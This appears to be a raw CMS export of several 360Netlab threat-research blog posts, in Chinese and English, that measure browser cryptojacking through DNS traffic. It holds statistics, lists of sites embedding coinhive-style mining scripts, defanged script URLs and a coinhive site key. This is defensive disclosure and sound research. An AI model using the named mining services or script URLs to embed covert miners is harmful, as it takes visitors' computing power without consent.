当用户浏览器开打内容网站的网页，并随后立即访问了挖矿网站时，这两个域名的紧密关联关系会被 DNSMon 记录下来\n - 在这个案例中，通过对 coinhive.com 相关的网站观察，我们能够识别挖矿相关网站\n - 由于内容网站不时切换背后的挖矿网站，所有记录下来的域名就能够连接成一张网络，从而反映整个市场内的玩家情况\n\n使用 DNSMon 检测网页挖矿有以下优点和缺点：\n\n- 优点\n - 覆盖广\n - 准实时\n - 精度高\n - 可以利用域名关联网络，通过种子域名扩展发现新的可疑域名\n - 对链路劫持后的的支持，也好于传统网页扫描器\n- 缺点\n - 仅能反映域名之间关联，网页挖矿事实还需要使用其他手段确认\n\n总体而言，利用 DNSmon 系统，我们能够：\n\n - 批量发现可疑站点\n - 快速确定挖矿网站\n - 定位使用了代码变形、壳链接的挖矿网站。\n\n#### 声明\n本文中的标签图，使用 http://cloud.niucodata.com/ 制作\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

92

post

2018-02-07T02:36:42.000Z

63873b9a8b1c1e0007f52f10

who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon-en

2018-10-06T09:12:43.000Z

public

published

2018-02-07T13:06:36.000Z

Who is Stealing My Power: Web Mining Domains Measurement via DNSMon

<!--kg-card-begin: markdown--><p>At <a href="https://twitter.com/360Netlab">360Netlab</a>, we are continuously analyzing DNS traffic. Based on this, we have established a DNSMon detection system that analyzes various anomalies and correlations in DNS traffic.</p> <p>We reported a few web mining sites such as openload.co in previous <a href="__GHOST_URL__/openload-co-and-other-popular-alex-sites-are-abusing-client-browsers-to-mining-cryptocurrency/">article</a>. After that, we try to <strong>use DNSMon to further analyze web mining on the entire Internet level</strong>. This article describes what we have seen so far.</p> <p>At present:</p> <ul> <li><strong>0.2% websites have web mining code embedded in their homepage</strong>: 241 (0.24%) out of Alexa Top 100,000 websites, and 629 (0.21%) out of Alexa Top 300,000 websites</li> <li><strong>Pornographic related websites constitute the main body</strong>, accounting for 49% . Others include fraud (8%), advertising (7%), mining (7%), film and television (6%) and other categories</li> <li><strong>10+ sites offer technical capacity for mining</strong>. The largest of them is coinhive.com, accounting for about 57% of the share, followed by coin-hive.com (8%), load.jsecoin.com (7%), webmine.pro (4%), authedmine.com (4%) and others</li> </ul> <p>Web mining has currently become a market, including the following roles:</p> <ul> <li><strong>End users</strong>: currently their interests are neglected</li> <li><strong>Mining sites</strong>: new players, providing the scripts and capability for web mining</li> <li><strong>Content / traffic website</strong>: these are existing websites with large user base, but lack the means for monetization. Now they are directing their previously unprofitable traffic to the mining sites, and are making money by web mining using the visitors' computers. Recently some content sites have built their own mining capacity, so that they no longer need to share their profit with the mining sites.</li> </ul> <h4 id="600contenttrafficwebsites">600+ Content / Traffic Websites</h4> <p>In Alexa Top 300,000 sites, by checking their homepage, we found 628 websites have embedded mining code. We map the keywords of these domain names below, so the readers can have a visual impression. Due to the particularity of pornography, we will not publish these domain names.</p> <p><img src="__GHOST_URL__/content/images/2018/02/keywords.png" alt="" loading="lazy"></p> <p>The contents of these websites fall into the following categories</p> <p><img src="__GHOST_URL__/content/images/2018/02/content-sites-by-category.png" alt="" loading="lazy"></p> <h4 id="10miningsites">10+ Mining Sites</h4> <h6 id="marketsharerankingofminingsites">Market Share Ranking of Mining Sites</h6> <p>Content sites will try to monetize their user traffic through mining sites.</p> <p>According to the usages by content sites, we see the Top 10 mining sites on 2018-02-06 as follow:</p> <p><img src="__GHOST_URL__/content/images/2018/02/mining-domain-usage.png" alt="" loading="lazy"></p> <p>One thing to note is that while there are only 628 content sites in total, mining sites are used 728 times. This is because some content sites use two or more mining sites at the same time, which is common in this market.</p> <h6 id="familiesofminingsites">Families of Mining Sites</h6> <p>All of these mining sites can be attributed to several different families. Some known families include:</p> <ul> <li><strong>coinhive</strong>: coinhive.com, coin-hive.com, and a series of related</li> <li><strong>jsecoin</strong>: load.jsecoin.com</li> <li><strong>webmine</strong>: webmine.cz</li> <li><strong>cryptoloot</strong>: crypto-loot.com, cryptoloot.pro, webmine.pro and a series of related</li> <li><strong>coinhave</strong>: coin-have.com, ws.cab217f6.space series, api.cab217f6.space series</li> </ul> <h6 id="traffictrendofminingsites">Traffic Trend of Mining Sites</h6> <p>DNS traffic of mining sites are shown in the following figure</p> <p><img src="__GHOST_URL__/content/images/2018/02/web-miner-site-dns-traffic-1.png" alt="" loading="lazy"></p> <p>We can see that:</p> <ul> <li><strong>The market started around 2017-09</strong>, coin-hive.com and coinhive.com are accessed massively since 2017-09-15 and 2017-09-28</li> <li><strong>The market keeps growing</strong>, two boosts happened around 2017-10 and 2018-01.</li> <li><strong>The biggest player is coinhive family</strong>, which is consistent with the above ranking statistics. As a representative, the popularity ranking of coinhive.com has arised to Top 20k.</li> <li><strong>More and more mining site providers are entering the market</strong></li> </ul> <p>On the other side, we recently observed that the traffic of coinhave family's main site is shrinking as it starts to divert traffic into varieties of subsites for redundancy.</p> <h6 id="newplayersandnewgames">New Players and New Games</h6> <p>We also notice some new players show up in the market recently:</p> <ul> <li><strong>Advertiser</strong>: mining behavior in some content sites are actually introduced by advertisers</li> <li><strong>Shell link</strong>: some content sites use shell links to evade detection by source code auditing</li> <li><strong>URL shortener</strong>: goobo.com.br is a URL shortener in Brazil. Its homepage as well as the shortened URLs it generate will load coinhive mining script when being visited.</li> <li><strong>Supply chain pollution</strong>: www.midijs.net is a JS based MIDI file player, whose <a href="http://www.midijs.net/lib/midi.js">source code</a> is embedded with coinhive script</li> <li><strong>Self-built mine pool</strong>: there is an <a href="https://github.com/deepwn/deepMiner">opensource project</a> on github which can be used to set up private mine pool.</li> <li><strong>End user aware web mining</strong>: authedmine.com is a new mining site, which declares only mining under user's permission</li> </ul> <h4 id="themechanismandadvantageofdetectingwebminingthroughdnsmon">The Mechanism and Advantage of Detecting Web Mining Through DNSMon</h4> <p>We have been using DNSMon to monitor websites that launch web mining. The monitoring works effectively because:</p> <ul> <li>when user opens a content website that loads mining site (like coinhive.com) subsequently, such relation between the content site domain and mining site domain are recorded by our DNSMon system.</li> <li>in this case, we can identify related content websites by investigating coinhive.com's correlation</li> <li>content sites may switch mining sites occasionally, and we recorded all these changes. In this way, we can draw the whole picture of the market.</li> </ul> <p>Using DNSMon to detect mining websites has its own advantage and disadvantage:</p> <ul> <li>Advantage</li> <li>wide coverage</li> <li>near real-time</li> <li>high precision</li> <li>can use mining domain seeds to discover more new suspicious sites through domain correlation</li> <li>support the detection in the case of link hijacking, which is better than traditional web scanners</li> <li>Disadvantage</li> <li>only reveals the relations between domains, and requires other methods to confirm web page mining behavior</li> </ul> <p>In summary, we can use DNSMon system to:</p> <ul> <li>discover suspicious sites in bulk</li> <li>identify mining website quickly</li> <li>locate mining sites that use techniques like code morphing or shell link</li> </ul> <h4 id="declaration">Declaration</h4> <p>The tag graph in this blog is created via <a href="http://cloud.niucodata.com/">http://cloud.niucodata.com/</a></p> <!--kg-card-end: markdown-->

At 360Netlab, we are continuously analyzing DNS traffic. Based on this, we have established a DNSMon detection system that analyzes various anomalies and correlations in DNS traffic. We reported a few web mining sites such as openload.co in previous article. After that, we try to use DNSMon to further analyze web mining on the entire Internet level. This article describes what we have seen so far. At present: * 0.2% websites have web mining code embedded in their homepage: 241 (0.24%) out of Alexa Top 100,000 websites, and 629 (0.21%) out of Alexa Top 300,000 websites * Pornographic related websites constitute the main body, accounting for 49% . Others include fraud (8%), advertising (7%), mining (7%), film and television (6%) and other categories * 10+ sites offer technical capacity for mining. The largest of them is coinhive.com, accounting for about 57% of the share, followed by coin-hive.com (8%), load.jsecoin.com (7%), webmine.pro (4%), authedmine.com (4%) and others Web mining has currently become a market, including the following roles: * End users: currently their interests are neglected * Mining sites: new players, providing the scripts and capability for web mining * Content / traffic website: these are existing websites with large user base, but lack the means for monetization. Now they are directing their previously unprofitable traffic to the mining sites, and are making money by web mining using the visitors' computers. Recently some content sites have built their own mining capacity, so that they no longer need to share their profit with the mining sites. 600+ Content / Traffic Websites In Alexa Top 300,000 sites, by checking their homepage, we found 628 websites have embedded mining code. We map the keywords of these domain names below, so the readers can have a visual impression. Due to the particularity of pornography, we will not publish these domain names. The contents of these websites fall into the following categories 10+ Mining Sites Market Share Ranking of Mining Sites Content sites will try to monetize their user traffic through mining sites. According to the usages by content sites, we see the Top 10 mining sites on 2018-02-06 as follow: One thing to note is that while there are only 628 content sites in total, mining sites are used 728 times. This is because some content sites use two or more mining sites at the same time, which is common in this market. Families of Mining Sites All of these mining sites can be attributed to several different families. Some known families include: * coinhive: coinhive.com, coin-hive.com, and a series of related * jsecoin: load.jsecoin.com * webmine: webmine.cz * cryptoloot: crypto-loot.com, cryptoloot.pro, webmine.pro and a series of related * coinhave: coin-have.com, ws.cab217f6.space series, api.cab217f6.space series Traffic Trend of Mining Sites DNS traffic of mining sites are shown in the following figure We can see that: * The market started around 2017-09, coin-hive.com and coinhive.com are accessed massively since 2017-09-15 and 2017-09-28 * The market keeps growing, two boosts happened around 2017-10 and 2018-01. * The biggest player is coinhive family, which is consistent with the above ranking statistics. As a representative, the popularity ranking of coinhive.com has arised to Top 20k. * More and more mining site providers are entering the market On the other side, we recently observed that the traffic of coinhave family's main site is shrinking as it starts to divert traffic into varieties of subsites for redundancy. New Players and New Games We also notice some new players show up in the market recently: * Advertiser: mining behavior in some content sites are actually introduced by advertisers * Shell link: some content sites use shell links to evade detection by source code auditing * URL shortener: goobo.com.br is a URL shortener in Brazil. Its homepage as well as the shortened URLs it generate will load coinhive mining script when being visited. * Supply chain pollution: www.midijs.net is a JS based MIDI file player, whose source code is embedded with coinhive script * Self-built mine pool: there is an opensource project on github which can be used to set up private mine pool. * End user aware web mining: authedmine.com is a new mining site, which declares only mining under user's permission The Mechanism and Advantage of Detecting Web Mining Through DNSMon We have been using DNSMon to monitor websites that launch web mining. The monitoring works effectively because: * when user opens a content website that loads mining site (like coinhive.com) subsequently, such relation between the content site domain and mining site domain are recorded by our DNSMon system. * in this case, we can identify related content websites by investigating coinhive.com's correlation * content sites may switch mining sites occasionally, and we recorded all these changes. In this way, we can draw the whole picture of the market. Using DNSMon to detect mining websites has its own advantage and disadvantage: * Advantage * wide coverage * near real-time * high precision * can use mining domain seeds to discover more new suspicious sites through domain correlation * support the detection in the case of link hijacking, which is better than traditional web scanners * Disadvantage * only reveals the relations between domains, and requires other methods to confirm web page mining behavior In summary, we can use DNSMon system to: * discover suspicious sites in bulk * identify mining website quickly * locate mining sites that use techniques like code morphing or shell link Declaration The tag graph in this blog is created via http://cloud.niucodata.com/

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\nAt [360Netlab](https://twitter.com/360Netlab), we are continuously analyzing DNS traffic. Based on this, we have established a DNSMon detection system that analyzes various anomalies and correlations in DNS traffic.\n\nWe reported a few web mining sites such as openload.co in previous [article](__GHOST_URL__/openload-co-and-other-popular-alex-sites-are-abusing-client-browsers-to-mining-cryptocurrency/). After that, we try to **use DNSMon to further analyze web mining on the entire Internet level**. This article describes what we have seen so far.\n\nAt present:\n\n - **0.2% websites have web mining code embedded in their homepage**: 241 (0.24%) out of Alexa Top 100,000 websites, and 629 (0.21%) out of Alexa Top 300,000 websites\n - **Pornographic related websites constitute the main body**, accounting for 49% . Others include fraud (8%), advertising (7%), mining (7%), film and television (6%) and other categories\n - **10+ sites offer technical capacity for mining**. The largest of them is coinhive.com, accounting for about 57% of the share, followed by coin-hive.com (8%), load.jsecoin.com (7%), webmine.pro (4%), authedmine.com (4%) and others\n\nWeb mining has currently become a market, including the following roles:\n\n - **End users**: currently their interests are neglected\n - **Mining sites**: new players, providing the scripts and capability for web mining\n - **Content / traffic website**: these are existing websites with large user base, but lack the means for monetization. Now they are directing their previously unprofitable traffic to the mining sites, and are making money by web mining using the visitors' computers. Recently some content sites have built their own mining capacity, so that they no longer need to share their profit with the mining sites.\n\n#### 600+ Content / Traffic Websites\n\nIn Alexa Top 300,000 sites, by checking their homepage, we found 628 websites have embedded mining code. We map the keywords of these domain names below, so the readers can have a visual impression. Due to the particularity of pornography, we will not publish these domain names.\n\n\n\nThe contents of these websites fall into the following categories\n\n\n\n#### 10+ Mining Sites\n\n###### Market Share Ranking of Mining Sites\nContent sites will try to monetize their user traffic through mining sites. \n\nAccording to the usages by content sites, we see the Top 10 mining sites on 2018-02-06 as follow:\n\n\n\nOne thing to note is that while there are only 628 content sites in total, mining sites are used 728 times. This is because some content sites use two or more mining sites at the same time, which is common in this market.\n\n###### Families of Mining Sites\n\nAll of these mining sites can be attributed to several different families. Some known families include:\n\n- **coinhive**: coinhive.com, coin-hive.com, and a series of related\n- **jsecoin**: load.jsecoin.com\n- **webmine**: webmine.cz\n- **cryptoloot**: crypto-loot.com, cryptoloot.pro, webmine.pro and a series of related\n- **coinhave**: coin-have.com, ws.cab217f6.space series, api.cab217f6.space series \n\n###### Traffic Trend of Mining Sites\n\nDNS traffic of mining sites are shown in the following figure\n\n\n\nWe can see that:\n\n - **The market started around 2017-09**, coin-hive.com and coinhive.com are accessed massively since 2017-09-15 and 2017-09-28\n - **The market keeps growing**, two boosts happened around 2017-10 and 2018-01.\n - **The biggest player is coinhive family**, which is consistent with the above ranking statistics. As a representative, the popularity ranking of coinhive.com has arised to Top 20k.\n - **More and more mining site providers are entering the market**\n\nOn the other side, we recently observed that the traffic of coinhave family's main site is shrinking as it starts to divert traffic into varieties of subsites for redundancy.\n\n###### New Players and New Games\n\nWe also notice some new players show up in the market recently:\n\n- **Advertiser**: mining behavior in some content sites are actually introduced by advertisers\n- **Shell link**: some content sites use shell links to evade detection by source code auditing\n- **URL shortener**: goobo.com.br is a URL shortener in Brazil. Its homepage as well as the shortened URLs it generate will load coinhive mining script when being visited.\n- **Supply chain pollution**: www.midijs.net is a JS based MIDI file player, whose [source code](http://www.midijs.net/lib/midi.js) is embedded with coinhive script\n- **Self-built mine pool**: there is an [opensource project](https://github.com/deepwn/deepMiner) on github which can be used to set up private mine pool. \n- **End user aware web mining**: authedmine.com is a new mining site, which declares only mining under user's permission\n\n#### The Mechanism and Advantage of Detecting Web Mining Through DNSMon\n\nWe have been using DNSMon to monitor websites that launch web mining. The monitoring works effectively because:\n\n - when user opens a content website that loads mining site (like coinhive.com) subsequently, such relation between the content site domain and mining site domain are recorded by our DNSMon system.\n - in this case, we can identify related content websites by investigating coinhive.com's correlation\n - content sites may switch mining sites occasionally, and we recorded all these changes. In this way, we can draw the whole picture of the market.\n\nUsing DNSMon to detect mining websites has its own advantage and disadvantage:\n\n- Advantage\n - wide coverage\n - near real-time\n - high precision\n - can use mining domain seeds to discover more new suspicious sites through domain correlation\n - support the detection in the case of link hijacking, which is better than traditional web scanners\n- Disadvantage\n - only reveals the relations between domains, and requires other methods to confirm web page mining behavior\n\nIn summary, we can use DNSMon system to:\n\n - discover suspicious sites in bulk\n - identify mining website quickly\n - locate mining sites that use techniques like code morphing or shell link\n\n#### Declaration\nThe tag graph in this blog is created via http://cloud.niucodata.com/\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

93

post

2018-02-08T04:08:59.000Z

63873b9a8b1c1e0007f52f11

the-list-of-top-alexa-websites-with-web-mining-code-embedded-on-their-homepage

2018-10-06T09:12:46.000Z

public

published

2018-02-08T14:07:10.000Z

The List of Top Alexa Websites With Web-Mining Code Embedded on Their Homepage

<!--kg-card-begin: markdown--><p>On our previous <a href="__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon-en/">blog</a>, we mentioned over 0.2% websites have web mining code embedded in their homepage: 241 (0.24%) out of Alexa Top 100,000 websites, and 629 (0.21%) out of Alexa Top 300,000 websites.</p> <p>And after some discussion, we figured it makes sense to release the whole list so proper action can be taken, so here is the whole list our DNSMon system generated on 2/8/2018 Download <strong><a href="__GHOST_URL__/file/top_web_mining_sites.txt">here</a></strong>.</p> <p>The following table shows a snip of the whole list.</p> <pre><code>Alexa_Rank Website Related-Coin-Mining-Domain/URL 1503 mejortorrent.com |coinhive.com 1613 baytpbportal.fi |coinhive.com 3096 shareae.com |coinhive.com 3408 javmost.com |coinhive.com 3809 moonbit.co.in |hxxp://moonbit.co.in/js/coinhive.min.js?v2 4090 maalaimalar.com |coinhive.com 4535 firefoxchina.cn |coinhive.com 6084 icouchtuner.to |hxxps://insdrbot.com/lib/cryptonight-asmjs.min.js 6794 paperpk.com |coinhive.com 6847 scamadviser.com |coin-hive.com|coinhive.com </code></pre> <hr> <ul> <li>Thanks <a href="https://badpackets.net/how-to-find-cryptojacking-malware/">how-to-find-cryptojacking-malware</a> for more seeds.</li> </ul> <!--kg-card-end: markdown-->

On our previous blog, we mentioned over 0.2% websites have web mining code embedded in their homepage: 241 (0.24%) out of Alexa Top 100,000 websites, and 629 (0.21%) out of Alexa Top 300,000 websites. And after some discussion, we figured it makes sense to release the whole list so proper action can be taken, so here is the whole list our DNSMon system generated on 2/8/2018 Download here. The following table shows a snip of the whole list. Alexa_Rank Website Related-Coin-Mining-Domain/URL 1503 mejortorrent.com |coinhive.com 1613 baytpbportal.fi |coinhive.com 3096 shareae.com |coinhive.com 3408 javmost.com |coinhive.com 3809 moonbit.co.in |hxxp://moonbit.co.in/js/coinhive.min.js?v2 4090 maalaimalar.com |coinhive.com 4535 firefoxchina.cn |coinhive.com 6084 icouchtuner.to |hxxps://insdrbot.com/lib/cryptonight-asmjs.min.js 6794 paperpk.com |coinhive.com 6847 scamadviser.com |coin-hive.com|coinhive.com * Thanks how-to-find-cryptojacking-malware for more seeds.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"On our previous [blog](__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon-en/), we mentioned over 0.2% websites have web mining code embedded in their homepage: 241 (0.24%) out of Alexa Top 100,000 websites, and 629 (0.21%) out of Alexa Top 300,000 websites.\n\nAnd after some discussion, we figured it makes sense to release the whole list so proper action can be taken, so here is the whole list our DNSMon system generated on 2/8/2018 Download **[here](__GHOST_URL__/file/top_web_mining_sites.txt)**.\n\nThe following table shows a snip of the whole list.\n```\nAlexa_Rank Website Related-Coin-Mining-Domain/URL\n\n 1503 mejortorrent.com |coinhive.com\n 1613 baytpbportal.fi |coinhive.com\n 3096 shareae.com |coinhive.com\n 3408 javmost.com |coinhive.com\n 3809 moonbit.co.in |hxxp://moonbit.co.in/js/coinhive.min.js?v2\n 4090 maalaimalar.com |coinhive.com\n 4535 firefoxchina.cn |coinhive.com\n 6084 icouchtuner.to |hxxps://insdrbot.com/lib/cryptonight-asmjs.min.js\n 6794 paperpk.com |coinhive.com\n 6847 scamadviser.com |coin-hive.com|coinhive.com\n```\n\n---\n* Thanks [how-to-find-cryptojacking-malware](https://badpackets.net/how-to-find-cryptojacking-malware/) for more seeds.\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

94

post

2018-02-11T02:55:58.000Z

63873b9a8b1c1e0007f52f12

https-blog-netlab-360-com-the-list-of-top-alexa-websites-with-web-mining-code-embedded-on-their-homepage-cn

2018-10-06T09:06:37.000Z

public

published

2018-02-13T10:07:55.000Z

是谁悄悄偷走我的电（二）：那些利用主页挖取比特币的网站

<!--kg-card-begin: markdown--><p>我们在早先的 <a href="__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/">文章</a> 中提到，大约有 0.2% 的网站在使用主页中嵌入的JS代码挖矿：</p> <pre><code>- Alexa 头部 10万网站中，有 241 (0.24%)个 - Alexa 头部 30万网站中，有 629 (0.21%)个 </code></pre> <p>我们决定还是公开文中提到的全部站点列表，这样读者可以采取更多的行动。</p> <p>我们的 DNSMon 在2018-02-08 生成的列表，其格式如下：</p> <pre><code class="language-w">Alexa_Rank Website Related-Coin-Mining-Domain/URL 1503 mejortorrent.com |coinhive.com 1613 baytpbportal.fi |coinhive.com 3096 shareae.com |coinhive.com 3408 javmost.com |coinhive.com 3809 moonbit.co.in |hxxp://moonbit.co.in/js/coinhive.min.js?v2 4090 maalaimalar.com |coinhive.com 4535 firefoxchina.cn |coinhive.com 6084 icouchtuner.to |hxxps://insdrbot.com/lib/cryptonight-asmjs.min.js 6794 paperpk.com |coinhive.com 6847 scamadviser.com |coin-hive.com|coinhive.com </code></pre> <p>完整的列表下载地址是：<br> <a href="__GHOST_URL__/file/top_web_mining_sites.txt">https://blog.netlab.360.com/file/top_web_mining_sites.txt</a></p> <!--kg-card-end: markdown-->

我们在早先的 文章 中提到，大约有 0.2% 的网站在使用主页中嵌入的JS代码挖矿： - Alexa 头部 10万网站中，有 241 (0.24%)个 - Alexa 头部 30万网站中，有 629 (0.21%)个 我们决定还是公开文中提到的全部站点列表，这样读者可以采取更多的行动。 我们的 DNSMon 在2018-02-08 生成的列表，其格式如下： Alexa_Rank Website Related-Coin-Mining-Domain/URL 1503 mejortorrent.com |coinhive.com 1613 baytpbportal.fi |coinhive.com 3096 shareae.com |coinhive.com 3408 javmost.com |coinhive.com 3809 moonbit.co.in |hxxp://moonbit.co.in/js/coinhive.min.js?v2 4090 maalaimalar.com |coinhive.com 4535 firefoxchina.cn |coinhive.com 6084 icouchtuner.to |hxxps://insdrbot.com/lib/cryptonight-asmjs.min.js 6794 paperpk.com |coinhive.com 6847 scamadviser.com |coin-hive.com|coinhive.com 完整的列表下载地址是： https://blog.netlab.360.com/file/top_web_mining_sites.txt

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\n我们在早先的 [文章](__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/) 中提到，大约有 0.2% 的网站在使用主页中嵌入的JS代码挖矿：\n\n\t- Alexa 头部 10万网站中，有 241 (0.24%)个\n\t- Alexa 头部 30万网站中，有 629 (0.21%)个\n\n我们决定还是公开文中提到的全部站点列表，这样读者可以采取更多的行动。\n\n我们的 DNSMon 在2018-02-08 生成的列表，其格式如下：\n\n\n```w\nAlexa_Rank Website Related-Coin-Mining-Domain/URL\n\n 1503 mejortorrent.com |coinhive.com\n 1613 baytpbportal.fi |coinhive.com\n 3096 shareae.com |coinhive.com\n 3408 javmost.com |coinhive.com\n 3809 moonbit.co.in |hxxp://moonbit.co.in/js/coinhive.min.js?v2\n 4090 maalaimalar.com |coinhive.com\n 4535 firefoxchina.cn |coinhive.com\n 6084 icouchtuner.to |hxxps://insdrbot.com/lib/cryptonight-asmjs.min.js\n 6794 paperpk.com |coinhive.com\n 6847 scamadviser.com |coin-hive.com|coinhive.com\n```\n\n完整的列表下载地址是：\n__GHOST_URL__/file/top/_web/_mining/_sites.txt\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

95

post

2018-02-14T03:54:41.000Z

63873b9a8b1c1e0007f52f13

who-is-stealing-my-power-iv-a-case-study-how-one-big-player-could-impact-the-cohive-business-in-china

2018-10-06T09:03:40.000Z

public

published

2018-03-09T11:08:57.000Z

是谁悄悄偷走我的电（四）：国内大玩家对Coinhive影响的案例分析

<!--kg-card-begin: markdown--><p>《是谁悄悄偷走我的电》是我们的一个系列文章，讨论我们从 DNSMon 看到的网页挖矿的情况。在这个系列的之前的 <a href="__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/"><strong>一</strong></a> 、 <a href="__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/"><strong>二</strong></a> 和 <a href="__GHOST_URL__/who-is-stealing-my-power-iii-an-adnetwork-company-case-study/"><strong>三</strong></a> 中，我们已经介绍了整个Web挖矿的市场情况。当前我们知道，市场中的玩家主要可以分为挖矿网站和内容/流量网站，前者提供挖矿能力、后者提供流量，二者合力利用终端用户的浏览器算力挖矿获利。</p> <p>当前，挖矿网站中最大的玩家是 coinhive 家族，按照被引用数量计，占据了 58% 的市场份额。这些在我们之前的文章中已经提及。</p> <p>那么，流量网站的情况如何，有哪些有意思的情况？</p> <h4 id="coinhive">Coinhive 的关联域名</h4> <p>DNSMon 有能力分析任意域名的 <strong>关联域名</strong>，在这个案例中可以拿来分析 coinhive 家族关联的 <strong>流量网站</strong>。通过分析这些流量网站的 DNS 流量，可以观察到很多有意思的事情。</p> <p>下面是一个域名访问规模图：<br> <img src="__GHOST_URL__/content/images/2018/03/codomain-dnspai_counts_daily_v2-1.png" alt="" loading="lazy"></p> <p>在上图中:</p> <ul> <li><strong>横轴</strong>：代表时间，从 2018-01-31到2018-02-15</li> <li><strong>纵轴</strong>：列出 coinhive.com 的关联域名，通过分析其网页内容，我们证实其中大部分有网页挖矿行为</li> <li><strong>散点</strong>：代表这些域名的访问规模，面积越大表示当天的访问量越大</li> </ul> <p>图中红框高亮的两个域名引起了我们的兴趣。这两个域名，在2月3号到2月8号这段时间内突然出现，访问量上来就很大、没有爬升期，并且在2月9号之后快速的消失。这些特点显著区别于其他域名相对稳定的流量表现。</p> <ul> <li><strong>kw.cndqsjlg.com</strong></li> <li><strong>v.bjztkeji.com</strong></li> </ul> <p>下面是我们对这个案例的分析。</p> <h4 id="coinhive">Coinhive 的流量波动</h4> <p><img src="__GHOST_URL__/content/images/2018/03/domain_wave_1.png" alt="" loading="lazy"></p> <p>如上图所见，coinhive.com 的流量，在 2018-02-01～2018-02-10 之间有较大的波动，图中分成了四个部分：</p> <ul> <li>第一次波峰，2月5日</li> <li>第一次波谷，2月6日</li> <li>第二次波峰，2月7日</li> <li>第二次波谷，2月8日</li> </ul> <p>下面我们逐一解释这些异常现象发生的原因。</p> <h4 id="coinhive">Coinhive 的第一次波峰</h4> <p>看图中 stage 1 部分，我们会注意到 Coinhive 出现显著波峰，原因是什么？</p> <p><img src="__GHOST_URL__/content/images/2018/03/domain_wave_2.png" alt="" loading="lazy"></p> <p>注意图中绿色线，一个新的域名 kw.cndqsjlg.com 突然出现，并导致了 coinhive.com 在2月5日的流量波峰：</p> <ul> <li>该域名的<strong>访问曲线</strong>，与 coinhive 第一次波峰的访问曲线基本一致</li> <li>该域名的<strong>网页内容</strong>，经分析确认在利用 coinhive 脚本挖矿，对应的 site_key 是 76kBm8jdLIfdkW6rWAbAs58122fovBys</li> <li>该域名是个<strong>全新域名</strong>，注册在2月2日，在波峰前约48小时</li> <li>我们估算，该域名为 coinhive 贡献了<strong>中国大陆地区18%</strong> 左右的流量来源</li> </ul> <h4 id="coinhive">Coinhive 的第一次波谷</h4> <p>在 2月6日～2月7日 期间，观察图中的 stage 2 部分，很容易注意到 coinhive 出现显著波谷，原因是：</p> <ul> <li>kw.cndqsjlg.com 域名放弃了 coinhive ，而是启用了 <strong>自建deepminer</strong> 挖矿从而避免 coinhive 的抽成费用</li> </ul> <p>7日以后，该域名在不再活跃。</p> <h4 id="coinhive">Coinhive 的第二次波峰</h4> <p>看图中 stage 3 部分，我们会注意到 Coinhive 再度出现显著波峰。原因是什么？</p> <p><img src="__GHOST_URL__/content/images/2018/03/domain_wave_3.png" alt="" loading="lazy"></p> <p>类似的，新的 v.bjztkeji.com 蓝色线7日在DNS流量中突然出现，并导致了 coinhive.com 在2月7日的流量波峰。</p> <ul> <li>新域名的<strong>访问曲线</strong>，与 coinhive 第二次波峰的访问曲线基本一致</li> <li>新域名的<strong>网页内容</strong>，经分析确认在利用 coinhive 脚本挖矿，对应的 site_key 是 76kBm8jdLIfdkW6rWAbAs58122fovBys，与老的 kw.cndqsjlg.com 一致</li> <li>经分析确认，新域名的<strong>流量继承</strong>自之前 kw.cndqsjlg.com</li> <li>我们估算，该域名为 coinhive 贡献了 <strong>中国大陆地区15%</strong> 左右的流量来源</li> </ul> <h4 id="coinhive">Coinhive 的第二次波谷</h4> <p>360安全卫士在 8 日发布文章 <a href="https://www.anquanke.com/post/id/97904"><strong>批露</strong></a> 了该安全事件，指出两个域名的背后是国内某广告联盟。同时，360安全卫士在其旗下浏览器产品中阻断了上述两个网站未经用户许可的挖矿行为。此次批露后：</p> <ul> <li><strong>kw.cndqsjlg.com 的流量</strong>：在7日之前就已经逐渐跌落至地板附近，流量由下者继承</li> <li><strong>v.bjztkeji.com 的流量</strong>：在9日以后跌落至地板，至今没有反弹</li> <li><strong>coinhive.com 的流量</strong>：9日之后流量大幅损失，并持续至今。估算其在中国大陆地区的流量下跌了 45%~65%</li> </ul> <p>对应的流量图如下：<br> <img src="__GHOST_URL__/content/images/2018/03/domain_wave_4.png" alt="" loading="lazy"></p> <h4 id="">并非结束的结束</h4> <p>广告公司参与网页挖矿，是值得整个安全社区警惕的事情。我们在之前的 <a href="__GHOST_URL__/who-is-stealing-my-power-iii-an-adnetwork-company-case-study/"><strong>文章</strong></a> 中，就介绍过一个这样的案例。我们也毫不奇怪，市场上还会有其他玩家。</p> <p>我们会持续关注整个网页挖矿市场的变化，如果读者们有新的发现，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p> <!--kg-card-end: markdown-->

